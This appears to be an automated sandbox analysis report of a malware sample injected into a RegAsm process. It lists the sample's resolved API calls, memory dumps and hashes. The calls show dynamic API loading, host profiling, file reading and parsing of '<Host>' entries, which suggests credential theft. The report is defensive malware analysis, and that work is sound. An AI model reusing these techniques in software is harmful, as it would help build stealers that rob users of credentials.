GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,01471A90,00000000,?,00420E10,00000000,?,00000000,00000000,?), ref: 00417A7D
wsprintfA.USER32 ref: 00417AB7

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID:
API String ID: 362916592-0
Opcode ID: b881c6b0ead1d296197200307cca27ecd4ed8ab0e7bcc50e28ea7705d7869b14
Instruction ID: 8af700d3b0e32b47e9d6ddd9198ddf9a5cfc8e3ba9127fd648bfb7377b14e362
Opcode Fuzzy Hash: b881c6b0ead1d296197200307cca27ecd4ed8ab0e7bcc50e28ea7705d7869b14
Instruction Fuzzy Hash: 461152B1A45228EFEB108B54DC45F9AB7B8FB05711F10439AE516932C0D7785A40CF55

Function 00417850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417880
HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041789F

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: 98be1400a0f13b17dcfec3579e84c662f1c1c1bd9e35413721d24a5daf15813c
Instruction ID: ff9f3fb77af2488786a742b30a7a77c7a6675fe12b7944dcc27658a291e6e945
Opcode Fuzzy Hash: 98be1400a0f13b17dcfec3579e84c662f1c1c1bd9e35413721d24a5daf15813c
Instruction Fuzzy Hash: 08F04FB5D44208AFC710DFD8DD49BAEBBB8EB05711F10025AFA05A2680C77815448BA2

Function 00401160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00416A17,00420AEF), ref: 0040116A
ExitProcess.KERNEL32 ref: 0040117E

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 5e169adc815d3d5e963ffc5450d2c06f987a57c1971b55ed15331b47ed99491e
Instruction ID: a8b5f4e8781596c88644d8aa2969b9d6e82c50da38cf1cac8898b5ca04c80d98
Opcode Fuzzy Hash: 5e169adc815d3d5e963ffc5450d2c06f987a57c1971b55ed15331b47ed99491e
Instruction Fuzzy Hash: F4D05E7C94030CEBCB14EFE0D9496DDBB79FB0D311F001559ED0572340EA306481CAA6

Function 00419C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,014625A0), ref: 00419C2D
GetProcAddress.KERNEL32(74DD0000,01462600), ref: 00419C45
GetProcAddress.KERNEL32(74DD0000,0146A648), ref: 00419C5E
GetProcAddress.KERNEL32(74DD0000,0146A660), ref: 00419C76
GetProcAddress.KERNEL32(74DD0000,0146A7E0), ref: 00419C8E
GetProcAddress.KERNEL32(74DD0000,0146A858), ref: 00419CA7
GetProcAddress.KERNEL32(74DD0000,01464160), ref: 00419CBF
GetProcAddress.KERNEL32(74DD0000,0146A690), ref: 00419CD7
GetProcAddress.KERNEL32(74DD0000,0146A6A8), ref: 00419CF0
GetProcAddress.KERNEL32(74DD0000,0146A7F8), ref: 00419D08
GetProcAddress.KERNEL32(74DD0000,0146A6C0), ref: 00419D20
GetProcAddress.KERNEL32(74DD0000,01462A80), ref: 00419D39
GetProcAddress.KERNEL32(74DD0000,01462AA0), ref: 00419D51
GetProcAddress.KERNEL32(74DD0000,01462C40), ref: 00419D69
GetProcAddress.KERNEL32(74DD0000,01462AC0), ref: 00419D82
GetProcAddress.KERNEL32(74DD0000,0146A6D8), ref: 00419D9A
GetProcAddress.KERNEL32(74DD0000,0146A6F0), ref: 00419DB2
GetProcAddress.KERNEL32(74DD0000,01464430), ref: 00419DCB
GetProcAddress.KERNEL32(74DD0000,01462BE0), ref: 00419DE3
GetProcAddress.KERNEL32(74DD0000,0146A738), ref: 00419DFB
GetProcAddress.KERNEL32(74DD0000,0146A720), ref: 00419E14
GetProcAddress.KERNEL32(74DD0000,0146A7B0), ref: 00419E2C
GetProcAddress.KERNEL32(74DD0000,0146A810), ref: 00419E44
GetProcAddress.KERNEL32(74DD0000,01462A20), ref: 00419E5D
GetProcAddress.KERNEL32(74DD0000,0146A840), ref: 00419E75
GetProcAddress.KERNEL32(74DD0000,0146A930), ref: 00419E8D
GetProcAddress.KERNEL32(74DD0000,0146A870), ref: 00419EA6
GetProcAddress.KERNEL32(74DD0000,0146A918), ref: 00419EBE
GetProcAddress.KERNEL32(74DD0000,0146A900), ref: 00419ED6
GetProcAddress.KERNEL32(74DD0000,0146A8E8), ref: 00419EEF
GetProcAddress.KERNEL32(74DD0000,0146A888), ref: 00419F07
GetProcAddress.KERNEL32(74DD0000,0146A8A0), ref: 00419F1F
GetProcAddress.KERNEL32(74DD0000,0146A8B8), ref: 00419F38
GetProcAddress.KERNEL32(74DD0000,014706A8), ref: 00419F50
GetProcAddress.KERNEL32(74DD0000,0146A8D0), ref: 00419F68
GetProcAddress.KERNEL32(74DD0000,01470DD8), ref: 00419F81
GetProcAddress.KERNEL32(74DD0000,01462C60), ref: 00419F99
GetProcAddress.KERNEL32(74DD0000,01470F28), ref: 00419FB1
GetProcAddress.KERNEL32(74DD0000,01462AE0), ref: 00419FCA
GetProcAddress.KERNEL32(74DD0000,01470FA0), ref: 00419FE2
GetProcAddress.KERNEL32(74DD0000,01470F40), ref: 00419FFA
GetProcAddress.KERNEL32(74DD0000,01462CE0), ref: 0041A013
GetProcAddress.KERNEL32(74DD0000,01462C00), ref: 0041A02B
LoadLibraryA.KERNEL32(01470F58,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A03D
LoadLibraryA.KERNEL32(01470F70,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A04E
LoadLibraryA.KERNEL32(01470EC8,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A060
LoadLibraryA.KERNEL32(01470E80,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A072
LoadLibraryA.KERNEL32(01470FD0,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A083
LoadLibraryA.KERNEL32(01470FE8,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A095
LoadLibraryA.KERNEL32(01470EF8,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A0A7
LoadLibraryA.KERNEL32(01470DF0,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A0B8
GetProcAddress.KERNEL32(75290000,01462D00), ref: 0041A0DA
GetProcAddress.KERNEL32(75290000,01471000), ref: 0041A0F2
GetProcAddress.KERNEL32(75290000,0146AAD8), ref: 0041A10A
GetProcAddress.KERNEL32(75290000,01470F88), ref: 0041A123
GetProcAddress.KERNEL32(75290000,01462D20), ref: 0041A13B
GetProcAddress.KERNEL32(734C0000,01464368), ref: 0041A160
GetProcAddress.KERNEL32(734C0000,01462D40), ref: 0041A179
GetProcAddress.KERNEL32(734C0000,01464200), ref: 0041A191
GetProcAddress.KERNEL32(734C0000,01470DA8), ref: 0041A1A9
GetProcAddress.KERNEL32(734C0000,01470EE0), ref: 0041A1C2
GetProcAddress.KERNEL32(734C0000,01462B60), ref: 0041A1DA
GetProcAddress.KERNEL32(734C0000,01462B00), ref: 0041A1F2
GetProcAddress.KERNEL32(734C0000,01470FB8), ref: 0041A20B
GetProcAddress.KERNEL32(752C0000,01462B20), ref: 0041A22C
GetProcAddress.KERNEL32(752C0000,014629E0), ref: 0041A244
GetProcAddress.KERNEL32(752C0000,01470E08), ref: 0041A25D
GetProcAddress.KERNEL32(752C0000,01470F10), ref: 0041A275
GetProcAddress.KERNEL32(752C0000,01462B40), ref: 0041A28D
GetProcAddress.KERNEL32(74EC0000,014642C8), ref: 0041A2B3
GetProcAddress.KERNEL32(74EC0000,01464458), ref: 0041A2CB
GetProcAddress.KERNEL32(74EC0000,01470E50), ref: 0041A2E3
GetProcAddress.KERNEL32(74EC0000,014629A0), ref: 0041A2FC
GetProcAddress.KERNEL32(74EC0000,014629C0), ref: 0041A314
GetProcAddress.KERNEL32(74EC0000,01464408), ref: 0041A32C
GetProcAddress.KERNEL32(75BD0000,01470E38), ref: 0041A352
GetProcAddress.KERNEL32(75BD0000,01462A40), ref: 0041A36A
GetProcAddress.KERNEL32(75BD0000,0146AA48), ref: 0041A382
GetProcAddress.KERNEL32(75BD0000,01470D60), ref: 0041A39B
GetProcAddress.KERNEL32(75BD0000,01470D78), ref: 0041A3B3
GetProcAddress.KERNEL32(75BD0000,01462C20), ref: 0041A3CB
GetProcAddress.KERNEL32(75BD0000,01462CC0), ref: 0041A3E4
GetProcAddress.KERNEL32(75BD0000,01470E98), ref: 0041A3FC
GetProcAddress.KERNEL32(75BD0000,01471018), ref: 0041A414
GetProcAddress.KERNEL32(75A70000,01462B80), ref: 0041A436
GetProcAddress.KERNEL32(75A70000,01470E20), ref: 0041A44E
GetProcAddress.KERNEL32(75A70000,01471030), ref: 0041A466
GetProcAddress.KERNEL32(75A70000,01471048), ref: 0041A47F
GetProcAddress.KERNEL32(75A70000,01470D90), ref: 0041A497
GetProcAddress.KERNEL32(75450000,01462BA0), ref: 0041A4B8
GetProcAddress.KERNEL32(75450000,01462A60), ref: 0041A4D1
GetProcAddress.KERNEL32(75DA0000,01462C80), ref: 0041A4F2
GetProcAddress.KERNEL32(75DA0000,01470E68), ref: 0041A50A
GetProcAddress.KERNEL32(6F280000,01462CA0), ref: 0041A530
GetProcAddress.KERNEL32(6F280000,01462BC0), ref: 0041A548
GetProcAddress.KERNEL32(6F280000,01462A00), ref: 0041A560
GetProcAddress.KERNEL32(6F280000,01470EB0), ref: 0041A579
GetProcAddress.KERNEL32(6F280000,01471388), ref: 0041A591
GetProcAddress.KERNEL32(6F280000,01471508), ref: 0041A5A9
GetProcAddress.KERNEL32(6F280000,014712C8), ref: 0041A5C2
GetProcAddress.KERNEL32(6F280000,01471488), ref: 0041A5DA
GetProcAddress.KERNEL32(6F280000,InternetSetOptionA), ref: 0041A5F1
GetProcAddress.KERNEL32(6F280000,HttpQueryInfoA), ref: 0041A607
GetProcAddress.KERNEL32(75AF0000,01470DC0), ref: 0041A629
GetProcAddress.KERNEL32(75AF0000,0146AA58), ref: 0041A641
GetProcAddress.KERNEL32(75AF0000,01471090), ref: 0041A659
GetProcAddress.KERNEL32(75AF0000,01471078), ref: 0041A672
GetProcAddress.KERNEL32(75D90000,014714A8), ref: 0041A693
GetProcAddress.KERNEL32(6F9C0000,014710D8), ref: 0041A6B4
GetProcAddress.KERNEL32(6F9C0000,01471548), ref: 0041A6CD
GetProcAddress.KERNEL32(6F9C0000,01471060), ref: 0041A6E5
GetProcAddress.KERNEL32(6F9C0000,014710C0), ref: 0041A6FD

Strings

InternetSetOptionA, xrefs: 0041A5E5
HttpQueryInfoA, xrefs: 0041A5FC

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 62050089a8b8835eafd1d37742ef1b979ae5b20786234f8d6d940be7715c0619
Instruction ID: b148544ec257a615b167952e2e9b89b3667e8f5620887ecf26b211dda149ff7d
Opcode Fuzzy Hash: 62050089a8b8835eafd1d37742ef1b979ae5b20786234f8d6d940be7715c0619
Instruction Fuzzy Hash: 02621DBD5C0200BFD364DFE8EE889A63BFBF74E701714A61AE609C3264D6399441DB52

Function 00407710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F,?,004161C4,?), ref: 00407724
RtlAllocateHeap.NTDLL(00000000,?,004161C4,?), ref: 0040772B
lstrcatA.KERNEL32(?,0146E768,?,000003E8,?,000003E8,?,000003E8,?,000003E8,?,000003E8,?,000003E8,?,000003E8), ref: 004078DB
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 004078EF
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407903
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407917
lstrcatA.KERNEL32(?,01471EF8,?,004161C4,?), ref: 0040792B
lstrcatA.KERNEL32(?,01471E20,?,004161C4,?), ref: 0040793F
lstrcatA.KERNEL32(?,01471EB0,?,004161C4,?), ref: 00407952
lstrcatA.KERNEL32(?,01471EC8,?,004161C4,?), ref: 00407966
lstrcatA.KERNEL32(?,01472550,?,004161C4,?), ref: 0040797A
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 0040798E
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 004079A2
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 004079B6
lstrcatA.KERNEL32(?,01471EF8,?,004161C4,?), ref: 004079C9
lstrcatA.KERNEL32(?,01471E20,?,004161C4,?), ref: 004079DD
lstrcatA.KERNEL32(?,01471EB0,?,004161C4,?), ref: 004079F1
lstrcatA.KERNEL32(?,01471EC8,?,004161C4,?), ref: 00407A04
lstrcatA.KERNEL32(?,014725B8,?,004161C4,?), ref: 00407A18
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407A2C
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407A40
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407A54
lstrcatA.KERNEL32(?,01471EF8,?,004161C4,?), ref: 00407A68
lstrcatA.KERNEL32(?,01471E20,?,004161C4,?), ref: 00407A7B
lstrcatA.KERNEL32(?,01471EB0,?,004161C4,?), ref: 00407A8F
lstrcatA.KERNEL32(?,01471EC8,?,004161C4,?), ref: 00407AA3
lstrcatA.KERNEL32(?,01472620,?,004161C4,?), ref: 00407AB6
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407ACA
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407ADE
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407AF2
lstrcatA.KERNEL32(?,01471EF8,?,004161C4,?), ref: 00407B06
lstrcatA.KERNEL32(?,01471E20,?,004161C4,?), ref: 00407B1A
lstrcatA.KERNEL32(?,01471EB0,?,004161C4,?), ref: 00407B2D
lstrcatA.KERNEL32(?,01471EC8,?,004161C4,?), ref: 00407B41
lstrcatA.KERNEL32(?,01472688,?,004161C4,?), ref: 00407B55
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407B69
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407B7D
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407B91
lstrcatA.KERNEL32(?,01471EF8,?,004161C4,?), ref: 00407BA4
lstrcatA.KERNEL32(?,01471E20,?,004161C4,?), ref: 00407BB8
lstrcatA.KERNEL32(?,01471EB0,?,004161C4,?), ref: 00407BCC
lstrcatA.KERNEL32(?,01471EC8,?,004161C4,?), ref: 00407BDF
lstrcatA.KERNEL32(?,014726F0,?,004161C4,?), ref: 00407BF3
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407C07
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407C1B
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407C2F
lstrcatA.KERNEL32(?,01471EF8,?,004161C4,?), ref: 00407C43
lstrcatA.KERNEL32(?,01471E20,?,004161C4,?), ref: 00407C56
lstrcatA.KERNEL32(?,01471EB0,?,004161C4,?), ref: 00407C6A
lstrcatA.KERNEL32(?,01471EC8,?,004161C4,?), ref: 00407C7E

Part of subcall function 004075D0: lstrcatA.KERNEL32(2D8E5020,004217FC,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?,?,004161C4), ref: 00407606
Part of subcall function 004075D0: lstrcatA.KERNEL32(2D8E5020,00000000,00000000), ref: 00407648
Part of subcall function 004075D0: lstrcatA.KERNEL32(2D8E5020, : ), ref: 0040765A
Part of subcall function 004075D0: lstrcatA.KERNEL32(2D8E5020,00000000,00000000,00000000), ref: 0040768F
Part of subcall function 004075D0: lstrcatA.KERNEL32(2D8E5020,00421804), ref: 004076A0
Part of subcall function 004075D0: lstrcatA.KERNEL32(2D8E5020,00000000,00000000,00000000), ref: 004076D3
Part of subcall function 004075D0: lstrcatA.KERNEL32(2D8E5020,00421808), ref: 004076ED
Part of subcall function 004075D0: task.LIBCPMTD ref: 004076FB

lstrcatA.KERNEL32(?,0146AC18,?,00000104), ref: 00407E0B
lstrcatA.KERNEL32(?,01471648), ref: 00407E1E
lstrlenA.KERNEL32(2D8E5020), ref: 00407E2B
lstrlenA.KERNEL32(2D8E5020), ref: 00407E3B

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: 6fcfd6c6baea700e61f3ac76ac6e2f698724bd4a5264edc9866c41ae3b3538d0
Instruction ID: e42d55f5272c4be8e3f59257355b8fca4430f3dac2d75aeea8cbf9ff20cdab91
Opcode Fuzzy Hash: 6fcfd6c6baea700e61f3ac76ac6e2f698724bd4a5264edc9866c41ae3b3538d0
Instruction Fuzzy Hash: 12324EBAD50314ABD715EBE0DC85DEA737DBB45700F005A9DF209A2080EE78E7858F56

Function 00410250 Relevance: 77.4, APIs: 32, Strings: 12, Instructions: 363
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
Part of subcall function 004099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
Part of subcall function 004099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
Part of subcall function 004099C0: ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
Part of subcall function 004099C0: LocalFree.KERNEL32(004102E7), ref: 00409A90
Part of subcall function 004099C0: CloseHandle.KERNEL32(000000FF), ref: 00409A9A

Part of subcall function 00418E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418E52

strtok_s.MSVCRT ref: 0041031B
GetProcessHeap.KERNEL32(00000000,000F423F,00420DBA,00420DB7,00420DB6,00420DB3), ref: 00410362
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 00410369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00410385
lstrlenA.KERNEL32(00000000), ref: 00410393

Part of subcall function 004188E0: malloc.MSVCRT ref: 004188E8
Part of subcall function 004188E0: strncpy.MSVCRT ref: 00418903

